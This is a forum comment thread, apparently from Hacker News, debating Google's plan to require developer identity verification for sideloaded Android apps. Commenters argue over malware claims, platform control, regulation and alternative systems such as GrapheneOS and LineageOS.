MS is now competing against businesses that see their users as profit centers. (Google, Meta, Apple)
Windows was never going to go another way than this.
Users who care about hardware and/or software freedom should be on linux.
They can just require hash of legacy binaries sent to Microsoft and rubberstamped back. Eventually they'll have a near comprehensive list of legacy binaries in common use, and move to block unknown binaries in circulation as "malware".
Microsoft basically already has this (and has for the last ~20 years) as SmartScreen.
When was the last time you opened your start menu?
The malware excuse is just a palatable false pretense. "We have to protect granny!" Of course, she is getting fleeced by plain scam calls, not somehow sideloading apks onto her idevice, but the truth doesn't help advance their narrative.
Granny can get scammed using Anydesk, available on Google Play.
Imagine that metaphorical granny that in an instant catches fire and turns into ash if the governments and large corporations don't have complete control over our lives.
What a lovely granny that totally exists.
I suspect it's not grandma getting scammed by APKs, but people installing cracked versions of spotify/youtube/paid games.
> cracked versions of spotify/youtube/paid games
This doesn't make much sense to me.
To put the strongest face on it, by "cracked" youtube, you mean a version that shows the cracker's ads and maybe somehow generates extra clicks (or whatever) so they can get money out of it?
Cracked spotify? In my mind that's just like YouTube, almost entirely server-side. I guess you're talking about hijacking ads here, too? I feel like a "real" crack of Spotify would let you listen to music for free, but that should be impossible (unless their SWE's are incompetent).
You are approaching as is the malicious developer was trying to add useful features for the users.
But in practice, these “apps that lookalike popular apps” are not intended to just be adware-less versions of the popular apps. They are frequently “hide the ads, inject the malware with more permissions” Trojan horses.
I think there is likely a dual motive from Google where they both want to stop malware _and_ stop people blocking youtube ads. The malware problem is real though.
Yes but using a real problem as a vehicle for increased control and permission is, in it of itself, a Trojan horse.
Google is doing the same thing the fake apps are doing. Real problem: bad ads. Solution: cracked app. Trojan: too many permissions, steals data.
Google: problem: bad apps. Solution: advanced Google DRM. Trojan: too many permissions, steals data.
They mean apps like SmartTube, Vanced, Instander, Spotify Premium Mod which block ads or grant other premium features for free.
no, cracked as in the ad-free premium versions, without paying for them
Those "cracked" versions often require extra permissions.
My favorite was a local "discover which on your contacts is on the leaked Covid quarantine list[1]" scam app. It claimed that the extra permission dialogs are just fearmongering by Google, who is in cahoots with big pharma, and wants covid to spread to sell more medications.
[1] In fact, no such leak has ever taken place, its existence was just part of the setup for the scam.
My mother in law is constantly worried by some Google Ads in random apps that her phone is hacked...
Did she ever get anything side loaded like that? I have downloaded malware by mistake before. Not once were they allowed to proceed with installation. The only way I got anything side loaded was if I installed the first one (which is always Fdroid) deliberately via ADB after I enabled the developer mode.
Malware is the excuse. Control is the goal. Extracting as much money from people while providing less actual value.
The saddest part is this is to the detriment of literally everyone except a couple rich owners of those companies. And everyone has the right to vote. But western democracy is so indirect the people who understand and care have no way to change the law because their signal is lost in all the noise by those who don't know or don't care.
If the vote came down to people in favor of walled gardens or in favor of forcing companies to open their platforms, with everyone else not voting, it would be a landslide. But there's no way to vote on it this way.
“western democracy is so indirect the people who understand and care have no way to change the law because their signal is lost in all the noise by those who don't know or don't care”
Wow, how fix (WITHOUT intelligence tests as voting requirement) :(
I don't think there's anything wrong with inteligence or knowledge tests. People obviously have wildly different abilities to make good decisions.
The real issue is that western societies are built on individualism and the is that everyone is equal when they are obviously not and this would expose the lie.
---
However, the real issue is that decisions are packaged together. People vote for a party which they agree with on a few issues (or just one) and the rest become the noise.
So we need to split voting by issue. You could have one vote to determine which issues people care about most, then have multiple separate parlaments - but there would need to be a mechanism to force them to only write laws for the specific issue which is hard.
---
We could also allow people to override the votes of their representatives. The more people vote directly, the less weight the representatives have.
This is the year of Linux on the Desktop!
I think the first thing Windows loses dominance in is Gaming, and that will be the beginning of the end.
Are there still people who like using Windows?
> Are there still people who like using Windows?
You are assuming that everyone knows about or ever experienced the alternatives. Windows way is the only way for many.
Linux is at 5% desktop market share this year, and I gave up on running windows games without steam a decade ago.
On average my game library works much better under Linux than Windows (Mac is a distant third — probably worse than FreeBSD).
Anyway, at 1 in 20, most people probably know someone that runs Linux.
Have you considered the possibility that those 5% may be concentrated in certain markets, since it's mostly accounted by steamos?
No I'm not. I asked if anyone likes Windows. These people presumably have no opinion, it's just a means to an end. The closest thing I think you'll get is "I liked Windows 7" or something like that.
Those replies corroborate my point, if you think about it. They would have had an opinion if they had seen the alternatives. They would at least wish that Microsoft stopped doing these annoying modifications. I would know, because I have a rather large circle of friends who use only Linux or BSD.
I just want to say:
I am so sick of Google.
This is a monopoly with annual gross revenues bigger than all but 42 countries behaving this way.
They have conspired to control the web, browsers, mobile computing, and soon AI. It's sickening how much bad behavior they get away with.
They were able to use YouTube to bludgeon Windows Phone to death and become the de-facto mobile duopoly. Then they were able to get their shitty search engine on all the panes of glass, didn't care one iota about search quality (just ads), but were able to leverage their browser engine control to remove adblocking capabilities.
I hope the DOJ/FTC split Google into a dozen companies.
Sincerely.
> I hope the DOJ/FTC split Google into a dozen companies.
There's no chance of that under the current regime. It loves bribery and Google has the money to get whatever they want.
It is so weird to read comments based on a belief that the current government is aimed at some goal of justice. I guess they're just still drinking the Kool-aid?
Trump was a breath of fresh air talking about frustrations with the status quo that other politicians wouldn't acknowledge. But the only reason he was bringing them up was for use as a cudgel to shake down companies to enrich himself. He will very most certainly go after big tech monopolies and break them up... iff those big tech monopolies don't put bribes into his pocket. As long as his pockets get fatter, then the status quo is just peachy. It's called "making a deal".
> I hope the DOJ/FTC split Google into a dozen companies.
This is just such an insane thing to say. It's like a Russian posting "I really hope our DOJ/FTC splits up Lukoil into a dozen companies!". But Russians don't post that because they're actually sensible.
> This is the future; partially fuelled by malware, partially fuelled by the desire for platform control, and partially fuelled by government regulation. I would say it’s really 50% platform control, 50% government regulation.
Malware is the excuse. I went, without super skill, 40 years while only contracting two viruses ever (one was Kakworm, the other was inert at the time because I was an Amiga user who kept a copy of Scorched Earth on a floppy, which never infected my Amiga).
> I predict Windows will end up going this route before Google backtracks on it.
It will not happen in the next 10 years. Right now people would just make generic launchers and then use them to manually load and execute any binary they please. Options include just writing your thingy in a scripting language and run it in node.exe, python.exe, or compile it to WASM, use native bindings of a scripting language, abuse a random verified electron app, ship with and use a random vulnerably driver, etc etc.
Even remotely getting to the point where locking Windows down to that degree would be possible is going to take MS a long time, fighting friction from users all the way. The whole ecosystem would have to change drastically for that sort of control to even be possible and make sense.
The holes aren't really there because it would be so hard to close them in a vacuum, they're there because decades of software people use rely things working the old way. People aren't going to switch to a new OS on which almost nothing works anymore.
This would also mean eliminating WSL2.
control=surveillance
control is the entire point of the surveillance
This whole thing is getting totally out of surveillance!
Someone should hit surveillance-alt-delete!
government unregulation
It's still government regulation. It's just that they have changed the target or regulation from commercial entities to regular individuals like you.
A few years from now: After reviewing the usage of the approved sideloading feature, we discovered no more than 0.01% of users ever sideload an application. For security, sideloading is now disabled on all devices forever.
The solution is easy, stop developing for (selling on) closed platforms:
You now have options for cheap (less than $200) portable low energy devices:
1. PineTab-V, a linux on Risc-V tablet. (Got debian a few months back, still waiting for proper GPU support, usable but slow now)
2. uConsole, a linux cyberdeck with optional 4G. (Also has debian for 2711, 2712 and 3588 Compute Modules)
I'm not porting my games to Android, iOS, Switch or PlayStation. Only Windows/X86 and Linux/ARM+Risc-V.
No Linux/X86 to not encourage power waste after Windows gets too expensive to run on the client side.
I'm selling on itch instead of steam.
You only need Android for banking, and Nokia G22 (repairable) is/was also sub $200.
I am now creating a new Google account for each phone, that way you are not the product any more.
But can still operate in society.
I don't understand the part about Linux x86
X86 uses more electricity than ARM/Risc-V.
So I do not want people to only move to linux (on their X86) but also move to ARM/Risc-V.
Directly from Windows on X86 to Linux on ARM/Risc-V in one go.
Two flies with one hit.
That said all X86 should become linux servers = this is only valid for the client.
Surely the e-waste from discarding an x86 Windows computer you could have put Linux on out-weighs the power benefit of Arm/RISC-V. Also seems like you would discourage people who cannot afford new hardware from moving from a closed system to an open one; most PCs and laptops are still x86 except for the newest models.
No, because it uses 10x the energy. Electricity is not an energy source.
As I said the X86 would use linux but as a server, not a client.
A server has to handle thousands of clients and then it's ok to have the extra power.
I don't understand why you think the last sentence, it makes no sense:
I am encouraging people to get low price, low power, open hardware and software for everyday use before the KWh goes to $1 which is HAS to do, hopefully not too soon.
Do you have a source for x86 taking x10 the energy? I generally hear that Arm is something like 30-40% more power efficent which lines up with my experience that Arm laptops don't have 10x more battery life than x86 ones.
In any case, my point in the last sentence is not that we shouldn't encourage people to use more power efficent devices. My point is that encouraging people to use open software and encouraging people to use power efficent devices are, to me, two seperate and unrelated goals. It seems that, by not offering x86 Linux you sacrifice one goal over the other which doesnt seem needed.
I suppose that the part of your position which I don't understand, and I am still interested to hear more about, is: if you are this concerned about openness and power efficiency, why even offer x86 Windows which is objectively worse by your metrics than x86 Linux.
A fully kitted "gaming " machine draws minimum 150W at 60 FPS, most people have 120+Hz monitors so even an indie game draws minimum 300W.
The 3588 that can play HL2 at 300 FPS draws maybe around 10-15W.
Windows is 99% of the market today so if you don't support it you don't exist, in 5 years I'm hoping Windows will be around 50% because people will grow tired of the violent AAA games and electricity prices will rise.
Playing a couple of hours will soon cost more than the game costs to buy.
Ha ha very funny from no-evil-google. The worst most misbehaving apps I've ever had the misfortune of using came from their app store. The best apps I use regularly are from F-Droid, github and ones I baked myself. You take that away and your Android is Nodroid.
Well I guess my next is an apple, but I'm hoping open-source android distros will get more dev resources now. Will happily use a sub-optimal distro over google's.
This of course has nothing to do with security, it's mainly the managements reaction to Youtube alternative apps actually growing in userbase (happy user of one here). And also to ban alternative app stores naturally.
Let us all not forget that YT videos are internet users created not google created, and the only reason why Google thinks this will work for them is their belief there is no competition to YT.
Obviously Google considered and prepared for a huge negative feedback when they have made this decision, so I don't think we can change that.
Having said that I can only see living with two devices going further: one locked down for banking & stuff and another one for freedom.
Unfortunately, I can also envision a locked down internet available only on certified devices in ten years. Absurd? A mere idea of a locked-down Android device looked absurd... yesterday. Just yesterday.
So what are our options (eg for EU citizens) for lobbying in terms of legislation or directly to Google to show disagreement with this?
It looks like many in this thread are against, but I don't see suggestions for action?
I like your take, we see too many easy-to-write outrage articles on here these days, and rarely do we see a discussion or concrete list of actions that can be taken. eg. send a physical letter to this address, or boycot this or that service for 24hrs on such a date etc.
Personally I de-googled last year, but those numbers never get counted by the bean-counters, so it is not much of a protest.
In this case I dont think much can be done via legislation, since the governments work less and less for-the-people. This is just the next logical step on the KYC road, but for developers, GitHub is heading the same way, along with EU chat controls, UK age controls, Digital Euro, and the rest.
The EU right-to-privacy may as well be torched, and freedoms that were hard won, will continue to be surrendered for an easier swipe of a gadget.
On another thread someone opened my mind on this with a reminder that "the EU" is actually a large continent of many countries, each containing very large amounts of points of view and parties, and just because one set is clamoring for Chat Control does not mean that all the other folks who launched GDPR are gone.
We need to lobby for choice at every stage. You must be able to choose which network, which phone, which OS, which app stores, which apps.
I'm wondering the same thing in the US. Aside from writing Google and complaining, and purchasing a phone with a different OS (GrapheneOS or PureOS, for example), I'm not sure what else to do.
The issue with that 2nd solution is, "purchasing a phone with GrapheneOS" only registers from Google's perspective as "we just sold an additional Pixel, so we're doing good right now"
buy second hand
Personally, I fear addressing this issue to Google is wasted effort, since they "only" try to establish what Apple already has in place. Both mega-corps being in the U. S. (plus Trump threatening all countries that try to regulate U. S. technology yesterday) makes any appeal somewhat void.
That means, we have to do it ourselves. The first thing we can do is write to our MEPs. All of them. Thankfully, x775 has made a website in protest to the EU chat control law that makes find your MEPS E-mail addresses really easy, so maybe we can just take advantage of their work and use it to frame our own request. The relevant HN post is here: https://news.ycombinator.com/item?id=44858504
Could this be a way forward???
Honest answer? You need to lobby your national left-wing, pro-privacy parties to start being openly anti-immigration so that they can actually stop shrinking every year.
I'm sure this will be a massively unpopular one, but it doesn't change that this is the reality you're facing. Go look across the makeup of the EU parliament over the last 20 years and how it has shifted. Check the main reason people have voted this way. Then go look at how the EU parties vote.
"But it shouldn't be this way!" Then enjoy your further slide into authoritarianism.
We're sliding into a whole other topic here, but I can't help but wonder whether any of the pro- and anti- immigration debate will have mattered, looking back 20 years from now when half a billion people will have been forced to move due to climate change.
Of course it won't have mattered. Doesn't mean that's not the reality we're facing right now.
I knew this was coming thanks to the nincompoops bankers and IMDA together with horny uncles who fall for love/job scams here in Singapore. The reason I use android over iOS is that I can load apps for personal automation. I think the current scenario where bank apps refuse to run on phones with sideloaded apps is far more acceptable. Im not sure scammers will not find a way around this. I can still be able pin web apps.
FWIW I'd rather not use my phone for critical transactions its making authorities lazy. The number of times Ive had to fight thanks to "buggy" payment code that deducts money is not funny and banks are getting worse at customer support day by day.
Also what the fuck are the governments doing with tax payer money, instead of going after criminals, we go after citizens.
I don’t have data to support this, but I believe the smartphone is the most widely used device globally on a daily basis. Wouldn’t it make sense to have an Open Hardware Phone and Mobile OS built on an open specification to rival Google’s Android?
What’s stopping us from making this a reality? We have passionate FOSS developers and visionary leaders capable of championing this cause and building a strong community around it.
I had high hopes for Marc Shuttleworth’s Ubuntu Phone. Unfortunately, after the Kickstarter campaign fell through, development stalled. I still believe consumers missed out on a remarkable piece of technology.
That said, I see Ubuntu Touch[1] is still active, though I’m unclear on its current impact or progress. Meanwhile, Smart TVs and smartphones continue to be dominated by Google’s Android OS.
1. https://www.ubuntu-touch.io/
There is also https://sailfishos.org/ and they've got hardware too.
FOSS/Linux has had many attempts at phones, but they need one good leader to do it, which is very hard unless someone with name recognition gets everyone to work on one project.
I used to be an android developer and they disable my account because I took too long to reply to their mail. Since then I have been unable to recover it, they never reply to email and process your request to oblivion. Their bureaucracy is even worse than our french administration and that is saying something! At this point google is basically digital sovietism.
Looks like Google will also be limiting each developer's number of apps and installations unless you pay them $25. https://developer.android.com/developer-verification/guides/...
That's how it's always costed
Yes, it's the same price as a Google Play Console developer account, but this is for access to the new Android Developer Console.
Mobile phone platforms are reverting back to the pre-iOS/Android reality where you have to jump through tons of hoops to even make an app let alone run a viable business with it.
I don't recall having to send government ID to any companies to publish MIDlets back in the day. I just uploaded them to getjar.
AFAIK in some countries (US?) phones were usually sold locked in a sense that you could only install J2ME midlets published by your mobile provider, who'd nickel and dime both users and devs for the privilege.
It feels like US companies have long given up the pursuit of new innovations, and are now innovating new and creative ways to rent seek their own customers.
I have good memories about a website with ELF's for the Siemens phones. Its name had "kebab" in it. By any chance, was it you running it?
A fellow developer started a petition to stop Google from limiting app installation on Android devices unless developers provide personal identity documents.
Even though Google has not revoked similar controversial policies in the past, we do our best as much as we can. This change particularly threatens the freedom to build, share, and use software without giving away sensitive personal information. It affects independent developers, FOSS contributors, and even regular users who want to install apps outside of Google Play.
"Just imagine giving sensitive personal, government-issued ID to a corporation to install an app outside Google Play"
Let’s stand together to protect our freedom to create and use software without handing over personal information to a corporation. Every signature, share, and voice counts here
Support the petition here: https://chng.it/tyHZjstxWQ
A little reminder about the GNU definition of free software and the four freedoms:
https://www.gnu.org/philosophy/free-sw.html#four-freedoms
Quote below:
The four essential freedoms
A program is free software if the program's users have the four essential freedoms: [1]
Sideloading is the only reason I'm on Android. When it goes away, I will be better with an Apple device.
This must be because of Epic's win in antitrust court.
What someone needs to do is create a "Store" browser that loads apps from random websites like https://site.tld/app.apk
You could manually parse AndroidManifest.xml and allow only apps that expose <uses-permission android:name="android.permission.INTERNET" />
I'm somewhat interested in doing this myself actually. What do people think?
How does this differ from Obtainium?
I wasn't aware of obtainium. Thank you. I was thinking of something more like Google Chrome mobile edition but for APKs. So more focus around the search interface.
This is how macOS works, without a signature they will tell you they can't guarantee it doesn't have malware and you need to go to settings and choose to run anyway (and most people don't even know about it).
Microsoft would love to do that too, but it just has too much of legacy software to introduce such a major hurdle.
> This is how macOS works, without a signature they will tell you they can't guarantee it doesn't have malware
Even with a signature they can't guarantee it doesn't have malware. The fact that signed malware exists should be enough to put an end to the argument that it's for our own good.
The fact that people die with helmets on motorcycles should put an end to the argument that it's for our own good.
If you had to give away your privacy to use one and could only use helmets authorized by your motorcycle dealer you might have a point. We accept impositions on our freedom all the time when what we get in return is worth the sacrifice. If signed binaries actually delivered on their promise of keeping people safe there'd be a discussion that could be had on whether or not it'd be worthwhile, but since they don't actually protect people we'd be giving up our privacy for nothing.
What you said had absolutely nothing to do with your original illogical statement.
"the argument that it's for our own good." is their instance that we should accept this loss of our freedom to run the software we want because it protects us. It doesn't actually protect us though, so it isn't worth it and we shouldn't accept it.
My original statement had nothing to do with motorcycle helmets, but if using them required us to give up enough of our freedoms they could also become unacceptable for the level or protection they provide (or fail to provide) us.
The existence of signed malware does not mean that it isn't in our own best interest to have signed software. It's the argument of antivaxxers. You are probably equally confused how that works as well.
"It doesn't actually protect us though, so it isn't worth it and we shouldn't accept it."
That is completely false and dangerous misinformation.
Is the right-click -> Open workaround not a thing any more on macOS?
Open -> Click away the error message -> Settings -> Privacy & Security -> Open Anyways -> Open Anyways -> Authenticate -> app actually opens
There's a ctrl+open shortcut, if I remember correctly, which may be what the parent comment is referring to.
Nope, they've been making it steadily more difficult with each release. The control open shortcut no longer works.
Nope, it has been removed. Also God help you if want to run something that needs system extensions..
You will need to boot to recovery mode, go through utility and enable it: https://support.apple.com/en-ca/guide/mac-help/mchl768f7291/...
Basically average users will never be able to pull this off.
As of macOS 15 (I think?), that shortcut stopped working, it will just show the same unverified software warning.
It requires a trip to a submenu in the Settings app now. You can’t do it simply or easily.
Microsoft does the same exact thing with SmartScreen, except that it has a whitelist for popular binaries.
(Responding to https://techcrunch.com/2025/08/25/google-will-require-develo... )
> Starting next year, Google will begin to verify the identities of developers distributing their apps on Android devices, not just those who distribute via the Play Store.
Odd little phrase, "distributing their apps on Android devices".
I think "distributing" in this context is in the sense of product distribution, not in the sense of distributed systems.
But "distributing...on" sounds a little odd, like Google is still providing a distribution service. (Contrary to all the precedent of how we've thought of installing software, other than the proprietary, captive-user app stores.)
And so, maybe "distributing...on" makes it sound more like Google is (once again) entitled to gatekeep what you can run on your device/computer.
> However, developers who appreciated the anonymity of alternative distribution methods will no longer have that option. Google says this will help to cut down on bad actors who hide their identity to distribute malware, commit financial fraud, or steal users’ personal data.
Maybe it's not "developers who appreciated the anonymity" (which we immediately try to conflate with bad actors), but that the whole point lately has been to stop the greedy proprietary lock-in app store monopolies, and not have them gatekeeping what everyone else can do.
"Distribute on" sounds odd because it's incorrect. APKs are not distributed by putting them on phones and carrying the phones from one place to another. "Distribute to" would be more correct; better yet, "develop for".
I rely on an open source app called xDrip to manage my diabetes. It's way way way better than any of the official apps. It's not distributed on the app stores for obvious reasons. Many others rely on this app as well. Are we cooked?
It's starting to look like I may end up with two phones. One with Lineage and most of my apps, hopefully, and another one with Play Protect which hopefully will be just my bank app. Google has become way too powerful and is encroaching step by step on our freedom, it's terrible. Tt's been going on for a long time. It's the IT equivalant of authoritarianism!!
Yeah, I think I will do that strategy as well. I will probably put Graphene on my next phone, and if any apps don't work I will keep them on another phone.
So where do we complain? (Aside from shaming Google on social media or writing to politicians.)
If I look through Google's contact links, it's all oriented around getting help with a problem rather than letting them know I'm going to move to something else if they go through with this. (And yes, even if Apple has the same types of restrictions on app store, if a more open alternative OS didn't work out for me, I'd move to them to punish the one dropping freedom of use.)
Could complaint to the FTC or FCC.
> The requirement will go into effect in September 2026 for users in Brazil, Indonesia, Singapore, and Thailand. Google notes how these countries have been “specifically impacted by these forms of fraudulent app scams.” Verification will then apply globally from 2027 onwards.
At least most of the world has until 2027 to install LineageOS or GrapheneOS.
Apps are increasingly failing to run on grapheneos because Google is pushing for the play integrity verification. More and more apps, some critical like banking apps, some not at all, require your device to be running an official rom signed by Google.
So I will go back to carry two devices, I guess. Like when I had a Jolla Phone and an Android phone. Or before that with a Palm PDA and a dumbphone. It is convenient to have everything combined in a single device, but guess that turned out to be just a temporary luxury.
Great for you. What about the normies ? You know the people that protest and make things change, how they are going to organize themselves when their government gets authoritarian and apple/google obeys to governments request to forbid some app. You know like what happened during Hong Kong protest with Apple App Store.
I’m not saying I have a solution but looking at yourself and pretending it’s all fine because you’re 10 times more tech savvy than the average citizen isn’t a viable answer. That kind of issue must be solved by regulation, hopefully Europe gets to bring back on earth whoever at Google agreed on that idea.
It's not "all fine", but realistically it's the best that you can hope to achieve.
The "normies" won't protest because it mostly doesn't affect them, at least not in any direct and obvious way that would trigger a pushback.
Regulation is unlikely to give you what you want. For one thing, regulators love centralization in general because it makes it much easier to regulate - when there are only a few large players, you can write the laws around them, effectively forcing them to be the enforcers. A large and diverse field where users can install whatever apps from wherever is much harder to regulate wrt things like banning porn or violent games or whatever it is that "normies" feel upset and demand that SOMEONE DO SOMETHING ABOUT IT!!!1! today.
This isn't to say that you shouldn't try to use political tools. Just be very clear that what you're trying to achieve is a minority take, and therefore you're unlikely to actually reach the goal in a democracy; at best, you will move the needle very slightly.
So, if you want to actually enjoy freedom in the meantime, learn how to be a criminal.
I’m not saying normies would protest about that ! I’m not mad, most people will never know nor even care until it’s too late.
I’m referring to protest happening in context like Hong Kong or in Africa during state coup, then having a phone that can run apps used to organize themselves without any government (and so Google) overreach is a necessity.
At the individual level, we could at best petition European deputies.
You’re saying government love centralization so they won’t do anything yet in apple case they forced them to allow third party App Store. Sure Apple did Apple stuff and put horrendous conditions and pricing but the political will was and is still there in Europe.
> require your device to be running an official rom signed by Google
How exactly does the app detect this?
Google play service integrity, before it was safety net.
Can’t be bypassed without root and otherwise all rom not official and validated by Google are on time watch.
https://android-developers.googleblog.com/2024/12/making-pla...
>At least most of the world has until 2027 to install LineageOS or GrapheneOS.
Which only work on a tiny, almost insignificant sub-set of phones. If you don't have one of those, you're screwed.
Not to mention the bootloader is getting locked down so you can't even install one of these in the first place.
Next time you buy a phone, buy a supported model. Right?
So I guess now is the time to decide whether Pixel is actually something I would want to purchase from Google ( and support the decision they just made with cash money ) or.. what exactly. I am not a Apple fan either.
We all know that's not going to happen, outside of our tiny bubble.
What would happen to projects like F-Droid, Termux, etc.?
Taking the article at face value, they'll have to register with google and have their apps be signed. Presumably this is subject to less review than the play store (eg. you don't have to justify your permissions list or whatever[1]), but there's no guarantees that developers will bother with the hassle. A lot of developers are willing to put some release up on github, but not dox themselves to google.
[1] https://news.ycombinator.com/item?id=41895718
Guess whether the makers of alternative YouTube clients will want to tell Google, "Hey, this is a copy of our ID card our address"...
Yeah... They just want to ban NewPipe. It's sad to see Android getting locked down, also with the source closing of the development branches, etc. I can as well buy Apple then, it doesn't matter anymore.
Time to donate to GrapheneOS[1] and alternatives[2]. Or contribute [3].
[1] https://grapheneos.org/donate
[2] https://members.calyxinstitute.org/donate
[3] https://grapheneos.org/hiring
Will GrapheneOS even survive the fact that Google will stop publishing Pixel code and such?
If you maintain it as a hard fork, why not? New phones technical specifications improvements are diminishing last few years anyway. As long as it works, it can last for many years to come. The question is only in the project budget, I think.
Why not LineageOS? They have better and more updated preinstalled Apps.
They also support more devices.
So what's the solution? What's the reaction of semiofficial Android forks? Should we switch to Huawei now? Should we then have two phones? One with Android fork and one with some other "official" OS?
Ok, it seems having GrapheneOS on phone would suffice [1]. 1. https://discuss.grapheneos.org/d/25235-google-wants-to-verif...
I would presume that open source android distributions can get around this. Like LineageOS and GrapheneOS. Hopefully this change will give them more popularity. But I assume Google is also trying to lock down hardware so you can't install anything else than their propietary Android.
Well, I guess I didn't want to use half of the apps on my phone anyway. Might as well throw the phone in the bin.
The only silver lining I see is if it allows you to bypass this by enabling dev mode on your phone. If you can't sideload unverified apps even in dev mode, that would be insanely bad.
IF that is the case, I'm actually willing to be slightly inclined to see this as a positive? We should normalize installing apps outside of Google Play, but that means malware becomes a serious issue with people downloading and installing random APKs.
e.g., this may normalize people hosting downloadable APKs whilst also reducing malware risk for "normies", which idealistically could weaken the "monopoly" of Google Play on android.
The problem is that Google is the gatekeeper.
If they keep pushing, you won't likely be able to use any banking or payment apps with that "dev mode."
In fact, you may not even be able to use any apps that interact with Google Play Services, which includes almost every app on the market.
There is a guy with beard that people love to hate that warned about this kind of thing.
Of course people called him a paranoid and lunatic extremist, but in the end he was right and we are f*cked
This has the potential to be disastrous for Google, but maybe not.
Personally: I don't use Apple because I like being able to whip together little apps to side-load without having to check in with a walled-garden mothership. If Google is going to move closer to Apple in that regard... Apple's UX ecosystem is better, so I have far fewer reason to keep using Android.
I suspect this won't be disastrous for Google, because where will people care about this go? Apple, who is even more restrictive? This is just another in a long series of incidents showing why we desperately need a real alternative to the mobile duopoly. I would ditch Android over this, but there's no realistic alternative available to me.
Damn the future sucks ass.
It's a good question. I've looked at PinePhone, but last time I looked at it in detail it was light-years outside my needs for usability (very much a "we are CLI authors and are trying our hands at a mobile UI as a hobby" situation).
I think I'll look into what Android phones are out there that aren't glued to the Google Play ecosystem. Side-loading is still a feature the OS core supports even if Google switches it off (for now, and AFAIK the OS is forkable if they press the issue).
I think the only thing hat can save us is a jailbreak. Either for iOS or Android to let you sideload apps.
Alternatively, and that’s almost bullshit, the dumb phone trend continues and we might get devices like PDAs. Get a dumb phone and a small camera and then your PDA for everything that is essentially an app. Not sure what OS they’d run but I don’t see another way.
Android also allows apps that can run arbitrary code, like emulators and various other runtimes. I think iOS still doesn't? I have not written an Android app in ages, other than at work, but I often write silly little things running in the Löve 2D Loader, or TIC-80, or DOSBox, or just command-line tools running in Termux (I hear there is an X-server as well to run GUI applications from Termux?).
As long as they still allow running stuff inside of apps like that I will probably not abandon ship yet.
They recently allowed emulators, like RetroArch, to be on the app store. They still require the emulators to be written in Swift AFAIK. Still quite a bit more restrictive than Android, but they have slowly been opening up.
Everybody DEMANDS Google "do something" about malware, scam and fake apps. So it does.
For an average Joe and Jane, who gets their money stolen, that's a good move. They don't care about technology, they just want their bank, instagram, cat pictures and video calls to work and not get scammed. They are often lured into installing scamware through exactly sideloading APK, completely unaware of the risks.
In the article there's this comment:
> I'm struggling to see the benefit of this new policy. While it's presented as a security measure, the requirement to fill out these forms seems like a trivial barrier for actual malware creators, who will easily abuse the system.
Every scammer will have a different code signing certificate which you can then block if they spread malware. Right now it's a huge mass of scammers and malware authors indistinguishable from each other. And Google could possibly block them all which would also block legitimate applications (now that would spark outrage). Thanks to the new policy it'll be easy to add a single cert to the blocklist.
If you want absolute freedom on your device, just install a different Android - for example Graphene, Lineage, /e/OS, or Calix. They are all Android too.
It's so fashionable these days to go after Google.
Thanks Google.
No, the average Janes and Joes don't enable side-loading: it's a toggle, not enabled by default, it's in an advanced setting pane and it's good as it is. Google has been controlling what is installed through their Store and that is enough for 100% of average users. They have been doing it badly though, leaving many scams through, same for Apple. They should focus on this, not the advanced users.
They do, particularly in developing countries because it allows installing cracked versions of paid software or ad removed versions.
They can just follow a YouTube tutorial showing how to get around all the barriers Android added.
It's hard to find reasons to protect someone trying to install a shady app. Using that one reason to kill the possibility to install third-party apps for everyone is shady.
This is also Google's fault - they allow and heavily promote adware on the play store.
The only reason anyone is trying to find cracked apps is because the legitimate apps are, in it of themselves, malware. Typically spyware and adware.
>For an average Joe and Jane, who gets their money stolen, that's a good move. They don't care about technology, they just want their bank, instagram, cat pictures and video calls to work and not get scammed
We could also teach basic computer literacy in schools so people could understand common scams. We could sell phones with "extra protections" that people with less knowledge could buy.
The only reason to force this crap on everyone is control. What google cares about is getting rid of people's ability to block ads, kill youtube vanced, and so on.
Google will implement this, the consumers will pay for it, scams will still exist, and Google will open their hands and say "welp we tried". The infrastructure will already be in place, and it will never be revoked.
Who's going to pony up the capital to teach computer literacy to a 70 yo in the boondocks of X developing country that is the primary demographic for these scams?
Public education is already funded in most of the world, we just have to add it to the curriculum. People who can't be reached through that can just buy the "protected" phones in the meantime.
How would you feel if Microsoft applied the same logic to windows? Suddenly only apps from the microsoft store are allowed.
Why do smartphone makers get all these special privileges while Microsoft got the law handed down on them for daring to bundle a damn web browser with their OS?
Microsoft is already doing this for drivers and is a hair away from enforcing code signing as well.
I don't think they're teaching old people how to enable developer mode and sideload an apk onto their phone, rather than just asking for bank information over the phone with a convincing lie.
Nobody is demanding Google do anything aside from a very loud minority who is scared of everything. There is no malware, scam, fake app problem for anyone with an IQ of more than 70.
> There is no malware, scam, fake app problem
There is. But they are as prevalent as ever in the Play Store, so this decision will not move the needle.
I never had a malware/scam/fake app problem. Nobody I know has ever had malware/scam/fake app problem. This feels like a manufactured imaginary problem to me.
From a quick search:
https://www.theregister.com/2025/08/26/apps_android_malware/
https://arstechnica.com/security/2024/09/11-million-devices-...
https://www.cpomagazine.com/cyber-security/over-300-maliciou...
Not sure which numbers you are expecting, but 90 million downloads combined isn’t insignificant.
Then why doesn't these things affect real human beings?
These "news" articles read like paid advertisements by companies like Zscaler.
> Everybody DEMANDS Google "do something" about malware, scam and fake apps. So it does.
Which Google department are you at? Some good stuff you've convinced yourself of here. My social circle is 99% normies, not once of them has ever brought this up. Normie news doesn't bring it up. You do though, to justify yourself.
"Everyone" as in financial companies and governments
> Thanks to the new policy it'll be easy to add a single cert to the blocklist.
And another tomorrow. And then five more the day after, four of which will have been stolen from clueless legitimate developers, whose apps will get blocked too.
Microsoft tried this whole nonsense before, it doesn't work in practice.
> If you want absolute freedom on your device, just install a different Android - for example Graphene, Lineage, /e/OS, or Calix. They are all Android too.
Sounds to me like an APT rootkit vector that will be the next on the chopping block.
> For an average Joe and Jane, who gets their money stolen, that's a good move. They don't care about technology, they just want their bank, instagram, cat pictures and video calls to work and not get scammed. They are often lured into installing scamware through exactly sideloading APK, completely unaware of the risks.
Maybe Joe and Jane should learn their lesson instead, and don't do banking on their cat picture device, if they can't keep it safe.
Will it be possible to bypass this limitation for users with rooted devices? If that were the case then I guess that would add more weight to companies who provide firmware and OEM unlocking for android devices: https://github.com/melontini/bootloader-unlock-wall-of-shame
This was probably the reason Nokia died. Symbian development, already cumbersome and app deployment required some such procedure. I remember there was an joint effort in a china based forum and many of us got a cert and a key for our phones. I was reading Nokia obituaries from its executives and the sorry state of Symbian development and app deployment was not considered as a cause. So here it, is young executives repeating a simplistic and destructive strategy. ibm, xerox, nokia and intel will be very proud.
No so young, but just as short-term and thoughtless.
